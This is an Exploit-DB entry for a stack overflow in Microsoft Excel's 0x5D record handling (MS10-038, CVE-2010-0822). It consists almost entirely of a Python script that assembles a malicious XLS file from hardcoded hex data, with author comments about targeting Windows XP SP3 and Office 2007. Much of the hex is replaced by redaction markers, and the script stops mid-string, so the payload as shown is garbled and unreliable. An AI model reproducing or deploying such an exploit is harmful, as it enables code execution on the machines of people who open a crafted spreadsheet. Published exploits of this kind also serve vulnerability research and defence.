Exploit-DB #14361
Description: Microsoft Excel - 0x5D record Stack Overflow (MS10-038)
Type: local
Platform: windows
Date: 2010-07-14
Author: webDEViL

Exploit:
#This is an exploit for MS10-038/CVE-2010-0822
#Everything is hardcoded! (winxp sp3)
#webDEViL
#w3bd3vil[at]gmail[dot].com
#http://krash.in/excel1.xls
#Office 2007 - 12.0.4518.1014
#MS10-038 bulletin states that Office 2007 is not vulnerable, lol

import binascii

wD="d0cf11e0a1b11ae[PII_REDACTED][PII_REDACTED][PII_REDACTED]003e000300feff[PII_REDACTED]"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000feff"
wD+="ffff[PII_REDACTED][PII_REDACTED][PII_REDACTED]00ffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
wD+="fffffffffffffffffffffffffffffffffffffffffffffdffffffab000000f700000004"
wD+="[PII_REDACTED][PII_REDACTED]000f[PII_REDACTED][PII_REDACTED]000a0000000b0000000c000000"
wD+="0d0000000e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000dc[PII_REDACTED]00"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED]0001a0000001b0000001c0000001d0000001e00"
wD+="00001f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0027"
wD+="[PII_REDACTED][PII_REDACTED]002a0000002b0000002c0000002d0000002e0000002f000000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]"
wD+="[PII_REDACTED]3a0000003b0000003c0000003d0000003e0000003f[PII_REDACTED]00004100"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]490000004a"
wD+="0000004b0000004c0000004d0000004e0000004f[PII_REDACTED][PII_REDACTED][PII_REDACTED]"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000005a0000005b0000"
wD+="005c0000005d0000005e0000005f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00006a0000006b0000006c0000006d"
wD+="0000006e0000006f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED]007a0000007b0000007c0000007d0000007e0000"
wD+="007f[PII_REDACTED]000052006f006f[PII_REDACTED]45006e[PII_REDACTED][PII_REDACTED]000000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]"
wD+="[PII_REDACTED]0500ffffffffffffffff[PII_REDACTED][PII_REDACTED]0000c[PII_REDACTED]00046"
wD+="[PII_REDACTED]db10df6d52bf01c07ce8888a22cb[PII_REDACTED]006e[PII_REDACTED]0057006f"
wD+="0072006b0062006f006f006b[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]"
wD+="000000ffffffff[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000"
wD+="[PII_REDACTED][PII_REDACTED]0000d74a[PII_REDACTED]005f[PII_REDACTED]41005f[PII_REDACTED]4f"
wD+="004a[PII_REDACTED]54005f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED]000100ffffffffffffffff[PII_REDACTED]00000000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED]60b5a912ea64bf01600f0c15ea64bf[PII_REDACTED]"
wD+="[PII_REDACTED][PII_REDACTED]74006c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]"
wD+="00000a000201ffffffff2b000000ffffffff[PII_REDACTED][PII_REDACTED][PII_REDACTED]0000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000cc[PII_REDACTED][PII_REDACTED]00"
wD+="[PII_REDACTED]000000feffffff[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0a0000"
wD+="000b0000000c0000000d0000000e0000000f[PII_REDACTED][PII_REDACTED][PII_REDACTED]1300"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]01a0000001b0000001c"
wD+="0000001d0000001e0000001f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]2a0000002b0000002c0000002d0000"
wD+="002e0000002f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00003600"
wD+="[PII_REDACTED][PII_REDACTED]390000003a0000003b000000feffffff3d0000003e0000003f"
wD+="000000feffffff[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000"
wD+="[PII_REDACTED]0000004a0000004b0000004c0000004d0000004e0000004f000000feffff"
wD+="ff[PII_REDACTED][PII_REDACTED][PII_REDACTED]00feffffff[PII_REDACTED][PII_REDACTED]00005900"
wD+="00005a0000005b0000005c0000005d0000005e0000005f[PII_REDACTED][PII_REDACTED]0062"
wD+="[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]006a000000"
wD+="6b0000006c0000006d0000006e0000006f[PII_REDACTED][PII_REDACTED][PII_REDACTED]730000"
wD+="00feffffff[PII_REDACTED][PII_REDACTED]0000fefffffffeffffff7a0000007b0000007c00"
wD+="00007d0000007e0000007f[PII_REDACTED]00000eef96813b5cf7581c0917be3ae03de563"
wD+="8dd3e25a4c8c064ffbdc4a10011f3e1f7f12fb6f4ea23158f49dda05b4b2284b44e41a"
wD+="d4814b198548977d072371c62d301dfc2cc8c5fe0123310e6ec6eb[PII_REDACTED]bd5c71"
wD+="d4a4a2e099a669e1e98cdd5ae68905cf2124cbe0992449e1e98d5d9b36626b3d07d96a"
wD+="f09ccfe7856764ec56334fb7e0d9277c856d8b3bbe72a7891ebb1355764d24e7855fa4"
wD+="651fbae659bbf4fc873f4bf35e9ee4e56fc08f27ddc974efa03b99edef6ce3e3db9c71"
wD+="a922c255ce0f5762e6d2e05acc5f8fd96ccd0ebba3e9ee4caceeb9348df4b4ae4b5644"
wD+="43f224ae1123a2a35db7bab55dd1bd307eb75d57bbbbea43de64ccf9b5de43a0bcd741"
wD+="7785efa9899c3cae96ff3c[PII_REDACTED]f2190a9cae26ae50234c8d76b48dec94bfce1a"
wD+="9dea43c311f4ba6bf4a6c6105fe6b6d19dea75d72831073a5bbdee1a9da9d119ac56e8"
wD+="75d6e8356ea829e87d9c6f8d5e31d09a822ebcad73e48d148127e83da25913efdfde53"
wD+="37342f791b37cb1cf19cd874b97c967f9e8a71121e30792f63822e31c51e0e3269867d"
wD+="ec60fb5f13fc4f872bc6c2d9e305f106f939c4c423e4679db574e34b4f10f6e4fbb189"
wD+="fccb162bc2dd78456cb1d787ecf988dddfa5dc307e91ceb1996f6b1e3ccef419ca7b21"
wD+="dfd0fb26c72b80fef7c96d44fe05c[PII_REDACTED]00bf012000000bf[PII_REDACTED]810109"
wD+="000008c[PII_REDACTED]840001ef11